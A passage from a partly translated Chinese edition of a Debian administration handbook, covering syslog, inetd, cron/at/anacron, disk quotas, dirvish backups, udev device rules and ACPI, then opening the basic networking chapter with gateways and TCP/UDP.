ucf 程序（在Debian 中拥有同名的软件包）能用于实施这种行为。

9.5. syslog 系统事件

9.5.1. 原则与机制

rsyslogd 后台进程负责搜集来自应用程序与内核的服务消息，然后送至日志档内 (通常保存在 /var/log/ 文件夹内)。遵守 /etc/rsyslog.conf 配置文件的要求。

每个日志信息都和应用子系统相关联（文档中称为“facility”）：

- auth 和 authpriv：用于授权;

- cron：来自任务调度服务， cron 和 atd;

- daemon：影响未分类的守护进程（DNS， NTP等）;

- ftp：涉及FTP 服务器;

- kern：源于内核的消息;

- lpr：源于打印子系统;

- mail：源于电子邮件子系统;

- news：Usenet 子系统消息（主要源自NNTP －网络消息传输协议－管理新闻组的服务器）;

- syslog：源于 syslogd 服务自身的消息;

- user：用户消息（通用）;

- uucp：源于UUCP（Unix to Unix Copy Program，一种老式的分发电子邮件消息的协议）服务的消息;

- local0 到 local7：保留本地使用。

每种消息都有其优先级。下面按降序列出：

- emerg：“救命！” 紧急状态，系统可能已挂了。

- alert：赶快，任何推迟都是危险的，必须马上采取行动;

- crit：情况很严重;

- err：错误;

- warn：警告（潜在的错误）;

- notice：正常情况，但是该消息很重要;

- info：提供信息;

- debug：调试消息。

9.5.2. 配置文件

The syntax of the /etc/rsyslog.conf file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the action describes how to deal with them.

9.5.2.1. 选择器语法

选择器是由分号分隔（“;”）的 subsystem清单及配对的priority（例如： auth.notice;mail.info）。星号（“*”）代表所有的子系统和优先级（例如： *.alert 或者 mail.*）。几个子系统可以通过逗号（“,”）合并成组（例如： auth,mail.info）。优先级指明相同或更高优先级的消息；因此 auth.alert 指具有 alert 和 emerg 优先级的auth 子系统消息。惊叹号（“!”）前缀表示求反，换句话说指低等级的优先级；因此 auth.!notice指有 auth产生的具有 info 或 debug 优先级的消息。等号（“=”）前缀表示精确指定某种优先级（auth.=notice 只关心具有 notice 优先级的 auth 消息）。优先级依次为：debug, info, notice, warning/warn, err/error , crit, alert, emerg/panic。

列在选择器中的元素会覆盖先前的元素。因此可以限定一个集合或者排除一些元素。例如， kern.info;kern.!err 表示源于内核优先级在 info 和 warn之间的消息。 none 优先级指示空集（无优先级），可用于从集合中排除一个子系统消息。于是， *.crit;kern.none 指所有优先级等于或高于 crit 但不是来自内核的消息。

9.5.2.2. 行为的语法

基础知识 命名管道，持续管道

命名管道是一种特殊类型的文件，可以像传统管道一样操作（通过在命令行中使用“|”符号），但是命名管道通过文件。这种机制的优点是可以关联两个不相干的进程。任何对命名管道的写操作会阻塞该进程直到另一个进程试图读数据。第二个进程读出第一个进程写的数据，第一个进程恢复执行。

这种文件由 mkfifo 命令创建。

各种可能的行为包括：

- 添加信息到文件（例如： /var/log/messages）;

- 将消息发送到 syslog 远程服务器（例如： @log.falcot.com）;

- 将消息发送至已有的命名管道（例如： |/dev/xconsole）;

- 将消息发给一个或多个已经登录的用户（如： root,rhertzog）;

- 将消息发给所有登录用户（如： *）;

- 将消息写入文本控制台（如： /dev/tty8）。

安全 转发日志

将一些重要日志保存在单独的机器（可能是日志专用）是很好的主意，这样可以防止侵入者移除他们的入侵痕迹（除非，他们也入侵了该日志服务器）。另外，碰到一些重要问题（像内核崩溃），日志变量都在另外的机器上，就更有机会确定导致崩溃的事件顺序。

要接受其他机器发来的消息，必须配置 rsyslog：实际上，只要激活 /etc/rsyslog.conf 中已有的选项就足够了（$ModLoad imudp and $UDPServerRun 514）。

9.6. inetd 超级服务器

Inetd（常被称为“网络超级服务”）是一个服务器服务。它按需求运行一些不常用的服务，而且不需要连续运行。

/etc/inetd.conf 文件列出服务器及其通用的端口号。inetd 命令侦测它们；若发现任何端口号已被链接，则运行对应的程序。

DEBIAN POLICY Register a server in /etc/inetd.conf

软件包经常需要在 /etc/inetd.conf 文件登录新的服务器，但 Debian 政策禁止任何软件包编辑不属于自身的配置档。所以有 update-inetd 脚本 (在同名软件包内)：管理配置文件以及其他软件包，使其在超级服务器的配置中登录新的服务器。

/etc/inetd.conf 文件中的每列条目以 7 个字段 (以空格区分) 描述服务器：

- TCP 或者UDP 端口号，或者服务名称（用/etc/services 文件中包含的信息映射到标准端口号）。

- 套接字类型： stream 用于TCP 连接， dgram 用于UDP 数据包。

- The protocol: tcp, tcp6, udp, or udp6.

- 选项：两个可能值：wait 或 nowait，告诉 inetd 在接受另一个链接时，是否等待或终止已启用的进程。对 TCP 链接而言，可使用 nowait，进入多任务。对回应 UDP 的程序而言，只在服务器可平行管理多个链接时，才使用 nowait。可在这个字段前加上圆点，以及每分钟可以开启的最大链接量 (缺省为 256)。

- The user name of the user under whose identity the server will run. Optionally one can add the group too via user.group syntax.

- 要执行程序的完整路径。

- 参数：此处是程序的完整参数列表，包括程序名本身（C中的argv[0] ）。

The following example illustrates some use-cases after installing talkd, nullidentd (ident-server), and fingerd:

例 9.1. 摘自 /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols.

talk   dgram   udp     wait    nobody.tty   /usr/sbin/in.talkd      in.talkd

ntalk  dgram   udp     wait    nobody.tty   /usr/sbin/in.ntalkd     in.ntalkd

#:INFO: Info services

ident  stream  tcp     nowait  nobody       /usr/sbin/nullidentd    nullidentd

finger stream  tcp     nowait  nobody       /usr/sbin/tcpd          /usr/sbin/in.fingerd

The tcpd program is frequently used in the /etc/inetd.conf file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow and /etc/hosts.deny files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]) to identify the real program to run. So you should not start the arguments list with tcpd but with the program that must be wrapped.

社区 Wietse Venema

Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities. We will have a closer look at this mail server in 第 11.1 节 “邮件服务器”.

选择 其他 inetd 命令

While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, rlinetd, and xinetd, which all provide the virtual package inet-superserver.

Most of these alternatives share the same configuration file /etc/inetd.conf.

This last incarnation of a super-server however, offers different syntax and very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the /etc/xinetd.d/ directory), which can make an administrator's life easier. It is considered to be more powerful, but also more complex.

最后但同样重要的是，甚至可以仿真 inetd 的行为，以 systemd 的插座启用模式运作 (见 第 9.1.1 节 “Systemd 启动系统”)。

9.7. 使用 cron 和 atd运行计划任务

cron is the daemon responsible for executing scheduled and recurring commands (every hour, every day, every week, etc.). atd deals with commands to be executed a single time, but at a specific moment in the future.

在Unix 系统，许多任务都被周期性的调度：

- 更替日志;

- 更新 locate 程序数据库;

- 备份;

- 维护脚本（例如清理临时文件）。

默认情况下，所有用户都可以运行计划任务。每个用户有他们自己的 crontab，其中记录了要调度的命令。可以运行 crontab -e 编辑（其内容存储在 /var/spool/cron/crontabs/user 文件中）。

安全 限制 cron 或者 atd

You can restrict access to crontab by creating an explicit authorization file (whitelist) in /etc/cron.allow, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist), /etc/cron.deny. This same feature is available for atd, with the /etc/at.allow and /etc/at.deny files (also described in their manual pages).

root用户有自己的 crontab，但是也可以使用 /etc/crontab 文件，或者在 /etc/cron.d 目录中写入另外的crontab 文件。这两种方法可以用来指明执行命令时的用户身份。

cron 软件包默认包含一些可执行的调度命令：

- 每小时运行在 /etc/cron.hourly/ 文件夹内的程序;

- 每天运行在 /etc/cron.daily/ 文件夹内的程序;

- 每周运行在 /etc/cron.weekly/ 文件夹内的程序;

- 每月运行在 /etc/cron.monthly/ 文件夹内的程序。

很多 Debian 软件包依赖此服务：把维护脚本置于此文件夹，确保其服务的最佳运作。

9.7.1. crontab 文件的格式

提示 cron中的快捷方式

cron 可以识别一些简写名称用以表示在 crontab 中开头的五个时间区段。他们对应最常用的调度选项：

- @yearly：每年一次（1月1号，00:00）;

- @monthly：每月一次（每月1号，00:00）;

- @weekly：每周一次（周日，00:00）;

- @daily：每天一次（00:00）;

- @hourly：每小时一次（在每小时开始）。

More abbreviations are recognized, like @rebootor @midnight.

特例 cron 和夏令时

在Debian中， cron 尽量考虑时间变更（夏令时，或者本地时间的重大变化）。因此，被安排到不存在时间（例如，安排在法国春季时间 2:30 执行的任务，而时钟在凌晨 2:00 之后会直接跳到凌晨3:00）的命令会在时间改变后马上执行（大概在夏令时 3:00）。另一方面，在秋天，需要多次执行的命令（夏令时凌晨 2:30，标准时间凌晨 2:30 之后一个小时，由于凌晨在 3:00，时钟被回调至凌晨 2:00）只会执行一次。

要当心了，如果不同任务的调度顺序和延迟相互关联，就需要检查使用 cron 时，是否兼容一致；如果有必要，为每年可能发生问题的夜晚准备专门的调度程序。

Each significant line of a crontab entry describes a scheduled command with the six (or seven) following fields:

- the value for the minute (from 0 to 59);

- 小时值（从0到23）;

- 每月的日期值（从1到31）;

- 月份值（从1到12）;

- 星期值（从0到7，1对应星期一，0和7都代表星期日；也可以使用星期英文表示单次的前三个字母，例如 Sun， Mon等）;

- 命令将以哪个用户的名义执行（在文件 /etc/crontab和 /etc/cron.d/中，而不是在用户自己的调度文件中）;

- 要执行的命令（当满足前面５栏定义的条件时）。

全部的细节记录在 crontab(5) 手册中。

Each value can also be expressed in the form of a list of possible values (separated by commas). The syntax a-b describes the interval of all the values between a and b. The syntax a-b/c describes the interval with an increment of c (example: 0-10/2 means 0,2,4,6,8,10). An asterisk * is a wildcard, representing all possible values.

例 9.2. Sample user crontab file

#Format

#min hour day mon dow  command

# Download data every night at 7:25 pm

25  19   *   *   *    $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)

00  08   *   *   1-5  $HOME/bin/dosomething

# every two hours

*  */2   *   *   *    $HOME/bin/dosomethingelse

# Restart the IRC proxy after each reboot

@reboot /usr/bin/dircproxy

提示 在启动时运行命令

只是在系统启动后，单次执行一个命令，可以使用 @reboot 宏（仅仅重启 cron 命令不会触发使用@reboot调度的命令）。该宏表示了 crontab条目的前五个区段。

其他 用 systemd 仿真 cron

部分 cron 的行为，可以用 systemd 的时间机制来仿真（请参见 第 9.1.1 节 “Systemd 启动系统”）。

9.7.2. 使用 at 命令

The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12 or 4:12pm represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY (27.07.22 thus representing 27 July 2022), YYYY-MM-DD (this same date being expressed as 2022-07-27), MM/DD/[CC]YY (i.e., 12/25/22 or 12/25/2022 will be December 25, 2022), or simple MMDD[CC]YY (so that 122522 or 12252022 will, likewise, represent December 25, 2022). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.22 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \

>   | mail lolando@debian.org

> END

warning: commands will be executed using /bin/sh

job 1 at Wed Jul 27 09:00:00 2022

另外一种方法可以向后推迟一段时间执行命令：at now + number period。 period 可以是 minutes, hours, days, 或者 weeks。 number 指明在命令执行之前消逝时间的单位数量。

要取消 cron中的计划任务，运行 crontab -e 删除 crontab 文件中的对应行。对于使用 at 命令的任务，同样简单：运行 atrm 任务编号。任务编号在调度时由 at 命令指定，可以通过 atq 命令查询找到，该命令给出当前计划任务清单。

9.8. 异步调度任务：anacron

anacron 用于不能全天候开机的电脑，替代完成 cron 命令的守护进程。由于常规的计划任务通常被安排在午夜执行，如果计算机当时没有开机就不会运行这些任务。 anacron 的目的就在于运行这些计划任务，并考虑计算机关机时间。

请注意， anacron 会在启动机器之后，频频执行此类活动，有可能导致计算机反应迟缓。这也正是/etc/anacrontab 文件中的任务以 nice 命令开头的原因，这样可以减小它们执行优先级进而限制它们对系统的影响。注意，该文件的格式和 /etc/crontab不完全相同；如果对 anacron有特殊需求设定，可参看 anacrontab(5) 手册。

基础知识 优先级和 nice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice program. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other process needs to run, the program will not be artificially held back.

nice 会给优先级添加“niceness”：正值优先级（从1到19）逐渐降低优先级，而负值（从 -1 到 -20）增加优先级－但是仅有超级用户可以使用负值优先级。除非特别指明（参看 nice(1) 手册）， nice 将当前优先级加10。

若发现已运行的工作应以 nice 启动，修正它并不算太迟；renice 命令可改变运行中进程的优先序，增加或减少均可 (但减少 “niceness” 是超级用户的权限)。

安装 anacron 软件包会禁用 cron 在 /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ 和 /etc/cron.monthly/目录中的脚本。避免 anacron 和 cron重复运行这些脚本。 cron 命令仍然可用并处理其他计划任务（特别是用户安排的计划任务）。

9.9. 配额

配额系统可以限制用户与群组可用的磁盘空间。设置时，必须内核支持 (以 CONFIG_QUOTA 选项编译) — 使用 Debian 内核时。配额管理软件在 quota Debian 软件包内。

在文件系统内启用配额时，必须在 /etc/fstab 中指明 usrquota 与 grpquota 选项，分别供用户与群组使用。重新启动电脑后，就能在未使用的磁盘空间中更新配额 (必须如此，才能重新计算已使用的磁盘空间)。

edquota user (或 edquota -g group) 命令允许在仍有磁盘空间的前提下，改变配额。

进阶 使用脚本定义配额

可以在脚本中使用 setquota 程序自动更改配额。setquota(8) 手册列出了详细的使用语法。

配额系统允许设置4个限制：

- two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, the 1024 available bytes of each block can only be assigned to one file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

- two limits (“soft” and “hard”) refer to the number of inodes used. Each file occupies at least one inode to store information about it (permissions, owner, timestamp of last access, etc.). It is thus a limit on the number of user files.

“软”限制可以被临时超越；当用户超过 warnquota 命令指定的配额，只是给出警告，通常由 cron唤起该命令。“硬”限制不允许被超出：系统将会拒绝任何超出硬配额的操作。

词汇 块和节点

文件系统将硬盘分成块－一些连续的小区域。这些块的大小在创建文件系统时定义，一般在1K到8K字节之间。

块可用来存储文件中的真实数据，也可用于文件系统的元数据。在元数据中，就会找到节点。一个节点使用硬盘上的一个块（但是该块并不会计入块配额，只用于节点配额），包含了节点对应哪个文件（名称，所有者，许可权限等）和实际使用数据块的指针。对于那些大文件，占用的块数已经超出单个指针的索引范围，还存在一个间接块系统；其中的节点参考一个块列表，该列表中的块不直接包含数据而是包含另一个块列表。

使用命令 edquota -t ，可以设定超过软限制的“宽限期”时长。宽限期之后，软限制将作为硬限制处理，要将数据写入硬盘，用户必须减少磁盘使用量至配额之内。

进阶 为新用户设定默认配额

要为新用户自动设定配额，需要配置用户模板（使用 edquota 或者 setquota）并在 /etc/adduser.conf 文件的 QUOTAUSER 变量中指明用户名。该配额配置会自动应用于 adduser 命令创建的新用户。

9.10. 备份

制作备份是管理员的主要责任之一，但它是个相对复杂的课题，并包含一些很难掌握的强大工具。

Many programs exist, such as amanda, bacula, or BackupPC. Those are client/server systems featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. For non-enterprise systems, administrators might want to check out rsnapshot or rdiff-backup. Users can easily create backups of their filesystems with timeshift, fsarchiver, duplicity, or even dd.

Debian contains dozens of other backup software covering all possible use cases, as you can easily confirm with apt-cache search backup.

本节并没有详细介绍这些工具，而是介绍 Falcot Corp 管理员们确定备份策略时的思路。

在 Falcot Corp公司，备份有两个目的：恢复被误删的文件，迅速恢复硬盘损坏的电脑（服务器或桌面电脑）。

9.10.1. 使用 rsync备份

以磁带备份太慢且太贵，现在采用备份在专属服务器的硬盘策略，以 RAID (见 第 12.1.1 节 “软 RAID”) 软件保护数据在硬盘毁损时不致遗失。桌面电脑没有个别备份的策略，用户应在部门的文件服务器备份其数据。rsync 命令 (取自同名的软件包) 用于日常备份这些服务器。

基础知识 硬链接，文件的第二个名称

相对于符号链接，硬链接不能脱离被链接文件。添加的硬链接等于给文件另一个名称。删除硬链接等于删除该文件的另一个名称。只要还有另一个名称指定给文件，则数据仍在文件系统内。不同于复制，硬链接并未在硬盘里复制到另一个空间。

硬链接使用 ln target link 命令创建。 然后link 文件是target 文件另外的新名字。硬链接只能在相同的文件系统上创建，而符号链接不受此限制。

有限的硬盘空间限制了每天完全备份数据。因此，rsync 命令对之前备份的内容使用硬链接，这样可以避免使用过多的硬盘空间。 然后rsync 进程只覆盖上次备份后修改过的文件。通过这种机制，大量的备份只占用小的磁盘空间。所有的备份会立即生效并且可以读写（例如，在共享网络上的不同目录），可以迅速比较两个不同日期的文件。

这种备份机制可以通过 dirvish 程序执行。使用备份存储空间（“空”的），放置有时间戳的备份文件集（这些文件集在dirvish 文档中称为“vaults”）。

主要配置在 /etc/dirvish/master.conf 文件中。它定义了备份存储空间的位置，要管理的“vaults”，和备份超期的默认值。配置的其他部分在 bank/vault/dirvish/default.conf 文件中，包含对应文件集的特殊配置。

例 9.3. /etc/dirvish/master.conf 文件

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root    22:00

expire-default: +15 days

expire-rule:

# MIN HR    DOM MON       DOW  STRFTIME_FMT

*   *     *   *         1    +3 months

*   *     1-7 *         1    +1 year

*   *     1-7 1,4,7,10  1

The bank setting indicates the directory in which the backups are stored. The exclude setting allows you to indicate files (or file types) to exclude from the backup. The Runall is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (according to /etc/cron.d/dirvish). Finally, the expire-default and expire-rule settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default one if no other expire-rule matches.

实践 计划过期

过期规则未被 dirvish-expire 使用。实际上，在添加备份副本时，设置该副本失效的日期。dirvish-expire 简单分析保存的副本并删除已达失效日期的文件。

例 9.4. /backup/root/dirvish/default.conf 文件

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

上面的例子中指明了要备份的文件集：这些文件在机器 rivendell.falcot.com 上（对本地数据备份，只需指明本地机器 hostname），主要是在根目录下（tree: /），除了在 exclude中列出的文件。备份仅限于一个文件系统中的内容（xdev: 1）。不包含其他挂载点的文件。产生保存文件的索引（index: gzip），镜像文件根据当前日期进行命名（image-default: %Y%m%d）。

There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault --init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.

实践 使用SSH远程备份

把数据保存在远程机器时，需用 ssh 命令链接它，并启用 rsync 作为服务器。需以root用户的权限才能自动链接。以 SSH 认证密钥允许连接 (见 第 9.2.1.1 节 “基于密钥的认证”)。

9.10.2. 不使用备份恢复系统

Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs/USB sticks prepared with simple-cdd (see 第 12.3.3 节 “Simple-CDD: The All-In-One Solution”). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see 第 13.3.1 节 “GNOME” for more information about this).

Falcot Corp 的管理员知道该公司备份政策的限制。未以防火墙保护备份服务器，而是把它放在另一个房间，以免在灾难来临时与主服务器同归于尽。而且，每周以 DVD-ROM 做增量备份 — 只备份修改过的文件。

进阶 备份SQL 和LDAP 服务

很多服务 (诸如 SQL 或 LDAP 数据库) 不能以复制文件的方式备份其系统 (除非在创建备份时正确停止，但经常会出问题，因为它们随时提供服务)。因此，必须以 “导出” 机制生成 “导出数据” 才能安全地备份。量很大，妥善地压缩。为了减少保存空间，每周只保存完成的文本档，以及每天的 diff，以 diff file_from_yesterday file_from_today 命令创建。xdelta 程序从二进位倒出增量的不同数据。

文化 TAR，磁带备份标准

历史上，在Unix 上制作备份最简单的方法是将一个 TAR 档案存到磁带上。 tar 甚至得名于“Tape ARchive”。

9.11. 热插拔： hotplug

9.11.1. 介绍

The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be “hotplugged“: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.

核心内的数据库有每个设备的 ID 及其驱动程序。在启动阶段加载此数据库，侦测各接口的周边设备，并在运行中侦测热插入的设备。接收到插入的设备后，送出消息给 udevd，让其添加对应的条目于 /dev/ 内。

9.11.2. 命名问题

在热插拔连接出现之前，很容易给设备赋予一个固定的名字。可以通过设备在总线上的位置简单命名。但是，如果设备能够在总线上来去自如，这就行不通了。典型的例子是数码相机和U 盘，两者都表现为磁盘驱动器。前者可能链接为 /dev/sdb ，后者可能是 /dev/sdc （假设/dev/sda 代表计算机自身的硬盘）。设备名是不固定的；它取决于设备连接的顺序。

另外，越来越多的驱动使用动态值作为设备的主、次设备号，这样就更不可能给设备赋予静态入口，而重启之后这些基本的特性也随之变化。

udev 正是为了解决该问题而创立的。

9.11.3. udev 如何工作

当 udev 被内核告知有一个新的设备，它参考 /sys/ 里对应的条目，搜集该设备的信息，尤其是那些足以辨别的独特信息 (网卡的 MAC 地址、某些 USB 设备的序号)。

有了这些信息之后，然后 udev 会查阅/etc/udev/rules.d/ 和 /lib/udev/rules.d/中包含的所有规则。在这个过程中，它会决定如何命名设备，创建什么样的符号连接（赋予设备另外的名字），执行什么命令。查询所有的文件，顺序（除非文件中使用“GOTO”指令）检查所有的规则。这样，有可能一个事件（event）对应多个规则。

规则文件的语法很简单：每行包含选择规则和变量赋值。前者用于需要对那些事件作出响应，后者定义采取何种行动。它们通过逗号分隔，用运算符区分选择规则（使用比较运算符，例如== or !=）或赋值指令（使用 =, += 或 :=运算符）。

比较运算符用于如下变量：

- KERNEL：内核赋予设备的名称;

- ACTION：与事件相对应的行动（“add”当设备被添加，“remove”当设备被移除）;

- DEVPATH：设备在 /sys/ 记录中的路径;

- SUBSYSTEM：产生请求的内核子系统（有很多这样的子系统，例如是“usb”，“ide”，“net”，“firmware”等）;

- ATTR{attribute}：attribute 文件的内容在设备的 /sys/$devpath/ 文件夹内。可在此找到 MAC 地址及其他辨识用的总线;

- KERNELS、SUBSYSTEMS 和 ATTRS{attributes} 是用来匹配当前设备父设备的可选变量;

- PROGRAM：指明要运行的测试程序（真则返回０）。程序的输出内容会被储存以便 RESULT 测试重用;

- RESULT：对最后一次调用 PROGRAM产生的结果进行检查。

右操作数可以使用模式表达式来同时匹配几个值。比如， * 匹配任何字符串（甚至是空字符串）； ? 匹配任何一个字符， [] 匹配方括号中间的字符集（如果首字符是惊叹号标示求反集，连续的字符集可表示为如 a-z）。

关于赋值操作符， =用来赋值（并取代当前值）；如果用在列表上，列表被清空并只包含赋予的新值。 := 做同样工作，但是它会阻止随后对该变量的更改。至于 +=，则是给列表添加新项目。如下的变量可以被更改：

- NAME：将在 /dev/中创建的设备文件名。只有第一次赋值起作用；其它的会被忽略;

- SYMLINK：指向同一个设备的符号列表清单;

- OWNER、GROUP 和 MODE 指示拥有该设备的用户和组，还有相关的访问许可;

- RUN：响应事件时执行的程序清单。

赋予这些变量的值可以使用一系列的替代表示：

- $kernel 或者 %k：等价于 KERNEL;

- $number 或者 %n：设备的顺序号码，例如，对 sda3，它就是“３”;

- $devpath 或 %p：等价于 DEVPATH;

- $attr{attribute} 或 %s{attribute}: 等价于 ATTRS{attribute};

- $major 或 %M：设备的内核主设备号;

- $minor 或 %m：内核次设备号码;

- $result 或 %c：PROGRAM设定的最后一个程序输出的字符串;

- 最后， %% 和 $$ 相应代表百分号和美元符号。

The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.

9.11.4. 一个具体例子

我们来考虑一个Ｕ盘并给它指派固定名字的例子。首先，必须要找到能唯一识别它的元素。可以插入并运行 udevadm info -a -n /dev/sdc （ 用指派给Ｕ盘的名字代替/dev/sdc ）。

# udevadm info -a -n /dev/sdc

[...]

looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{hidden}=="0"

ATTR{events}=="media_change"

ATTR{ro}=="0"

ATTR{discard_alignment}=="0"

ATTR{removable}=="1"

ATTR{events_async}==""

ATTR{alignment_offset}=="0"

ATTR{capability}=="51"

ATTR{events_poll_msecs}=="-1"

ATTR{stat}=="130  0  6328  435  0  0  0  0  0  252  252  0  0  0  0"

ATTR{size}=="15100224"

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{inflight}=="0  0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0':

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1':

KERNELS=="2-1"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{bDeviceProtocol}=="00"

ATTRS{bNumInterfaces}==" 1"

ATTRS{busnum}=="2"

ATTRS{quirks}=="0x0"

ATTRS{authorized}=="1"

ATTRS{ltm_capable}=="no"

ATTRS{speed}=="480"

ATTRS{product}=="TF10"

ATTRS{manufacturer}=="TDK LoR"

[...]

ATTRS{serial}=="07032998B60AB777"

[...]

可以通过检测设备变量，还有父设备变量创建新的规则。上面的例子运行我们创建两个这样的规则：

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

这些规则在文件中设定，例如该文件名为 /etc/udev/rules.d/010_local.rules，就可以移除和重新插入Ｕ盘了。可以看到文件/dev/usb_key/disk 代表和Ｕ盘相关联的磁盘，/dev/usb_key/part1 是它的第一个扇区。

进阶 调试udev配置

如同其他的后台进程，udevd 把日志保存在 /var/log/daemon.log。但是缺省不够详细，且不足以了解发生的事情。udevadm control --log-priority=info 命令增加其详细的内容并可解决此问题。udevadm control --log-priority=err 则回到缺省的层次。

9.12. 电源管理：高级配置与电源接口 (ACPI)

电源管理很麻烦。是的，适度的暂停电脑时，需让其设备的驱动程序知道如何进入待机状态，而且在唤醒时分，可以适当的配置。不幸的是，在 Linux 之下，还有少数设备无法好好的休眠，因为制造商未提供必要的规范。

Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.

小心显卡与待机

无法顺利待机时，罪魁祸首多半是显卡的驱动程序。碰到这种情况，先尝试最新的 X.org 图形服务器的最新版本。

在介绍了这么多Unix 系统上通用的基本服务之后，接下来关注管理机器的运行环境：网络。许多服务都需要网络的支持。这些会在下一章讨论。

第 10 章 基本网络设置

Linux从Unix系统上传承了网络的功能，Debian 同样提供了一整套完整的工具用于配置和管理网络。本章将向大家介绍这些工具。

10.1. 网关

“网关”用于连接多个网络。这个词常常用于表示本地网络通往外部 IP 地址的“出口”。网关充当路由器的身份，在它的多个网络接口间转发 IP 包，从而把它所连接的不同网络联系起来。

基本 IP 封包

今天，大部分的网络使用 IP 通信协议 (Internet Protocol)。这种协议把传输数据切割成小小的封包。除了实际传输的数据外，每个封包还包括必备的路由信息。

基本 TCP/UDP

即使在 IP 上传输数据，大部分程序都不处理个别的封包问题；他们通常使用 TCP (Transmission Control Protocol)。TCP 是 IP 的上层，为专属的数据流创建两点间的链接。程序只看到数据进来的条目，并保证同样的数据无误 (且以同样顺序) 流到另端链接的出口。在较低层可能发生多种错误，都可以被 TCP 补偿：重送失去的封包、重组到达的封包 (例如，经由不同路径送到) 的顺序。

另个在 IP 上的协议是 UDP (User Datagram Protocol)。与 TCP 不同，它是封包导向的。它的目标不同：UDP 的目的是在应用程序间传输封包。此协议不补偿封包的遗漏，也不在意封包依序到达。此协议的主要优点是，大幅改善延迟的问题，遗漏的封包不影响接收后续封包，并且持续重送该遗漏的封包。

TCP 和 UDP 都涉及封包，也就是以 "分机号码" 模式在机器内的程序创建链接。此做法允许在同个通信中创建多个平行的管道，因为它们以不同的端口号区分之。

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server. The list of services associated with port numbers can be found in the /etc/services file, also explained in services(5), as well as in:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

